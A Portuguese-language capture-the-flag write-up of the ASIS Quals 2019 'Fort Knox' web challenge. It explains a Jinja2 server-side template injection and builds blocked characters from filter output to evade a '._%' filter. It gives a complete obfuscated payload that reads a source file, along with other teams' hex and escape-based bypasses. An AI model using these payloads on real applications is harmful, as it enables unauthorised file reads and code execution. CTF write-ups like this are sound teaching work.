SSTI: Bypass in a hard place, Fort Knox — ASIS Quals 2019

Apresentação:

Vamos imaginar uma situação onde estamos analisando alguma aplicação que aparentemente esta vulnerável
 a Server Side Template Injection (SSTI), mas alguns de nossos payloads não estão retornando resposta, também suspeitamos que por trás de tudo isso possa ter um firewall barrando algumas de nossas solicitações, esse foi o caso do desafio “Fort Knox (WEB)” do Asis CTF 2019.
 Procuramos (Equipe do FireShell) em tópicos na internet que falam sobre SSTI, mas a maioria era praticamente a mesma coisa, nenhum bypass
 diferente que desse para usar nesse desafio, então decidimos contar nosso caminho até a flag.

Analize:

1: Temos um input onde enviamos o payload `{{5*5}}` e recebemos a resposta `25`, então detectamos um template injection.
2: Observando o HTML da aplicação encontramos o hint
“<!- -Source Code: /static/archive/Source - ->”
3: Algumas respostas retornam vazias ou com alguma mensagem de erro.
Como encontramos o código fonte, ficou mais fácil de entender como o seu “firewall” funcionava.

Source:

/static/archive/Source

Neste exemplo, no nosso payload não podemos usar os caracteres `._%`

Ex:

{{__class__}} = Error (Devido ao `_`)
{{ [].class.base.subclasses() }} = Erro (Devido ao `.`)

question = request.form[“q”]
 for c in “._%”:
 if c in question:
 return render_template(“no.html”, err = “no “ + c)

Bypass:

Bypass do underline passo a passo:

Ao aplicar o filtro map numa lista sem passar uma função para o map, ele retorna uma mensagem de erro:

&lt;generator object do_map at 0x7ff6c77ab960&gt;

Ou seja, a ideia é extrair esse underline que aparece nessa mensagem de erro para utilizar na construção do payload.

O próximo passo foi converter essa mensagem para string, utilizando o filtro string e em seguida para lista, utilizando o filtro list e jogar essa lista dentro de outra lista. Dessa forma para acessar o underline, era preciso acessar a segunda lista através do índice zero e em seguida acessar o underline através de seu índice na mensagem (20), portanto o payload ficou o seguinte:

python
 [[]|map|string|list][0][20]

Bypass do ponto

Embora o filtro attr fosse o suficiente para fazer o bypass do bloqueio do carácter de ponto, a minha idéia para solucionar o desafio era ler o arquivo fort.py (Arquivo importado pela aplicação), sendo assim era necessário uma forma de inserir o ponto para construir o nome do arquivo. Para fazer o bypass, foi necessário utilizar o filtro float, que converte um número para ponto flutuante, ou seja, se passarmos 1 para o filtro float, vamos obter 0.1! O restante segue a mesma ideia do bypass do underline (utilizar o filtro string, em seguida list, devolver dentro de uma lista e acessar o ponto através de seu índice).

python
 [1|float|string|list][0][1]

Payload final
 Para construir o payload final, foi necessário aplicar, além dos filtros já mencionados, os filtros join e attr. Com o filtro attr é possível acessar os atributos das classes (da mesma forma que usando o ponto). Já o filtro join é responsável por transformar uma lista em uma string.

O payload final acessa o módulo File e lê o arquivo fort.py

python
 {{ [[‘’|attr([[[]|map|string|list][0][20]*2,’class’,[[]|map|string|list][0][20]*2]|join)|attr([[[]|map|string|list][0][20]*2,’mro’,[[]|map|string|list][0][20]*2]|join)][0][2]|attr([[[]|map|string|list][0][20]*2,’subclasses’,[[]|map|string|list][0][20]*2]|join)()][0][40]([‘fort’, [1|float|string|list][0][1], ‘py’]|join,’r’)|attr(‘read’)() }}

Que é o mesmo que:

python
 ‘’.__class__.__mro__[2].__subclasses__()[40](‘fort.py’, ‘r’).read()
 
 Flag: ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}

Alternativas encontradas por outras equipes:

Alguns payloads alternativos que outras equipes utilizaram para resolver:
 Burlando o filtro `._%` por meio de `[“decode”](“hex”)`

Bypass by csictf:
 {{ “”.__class__ }} se torna {{“”[“5F5F636C6173735F5F”[“decode”] (“hex”)]}}
 (post)

Bypass by Posix:
 {{__class__}} se torna {{[][‘\x5f\x5fclass\x5f\x5f’]}}
 (post)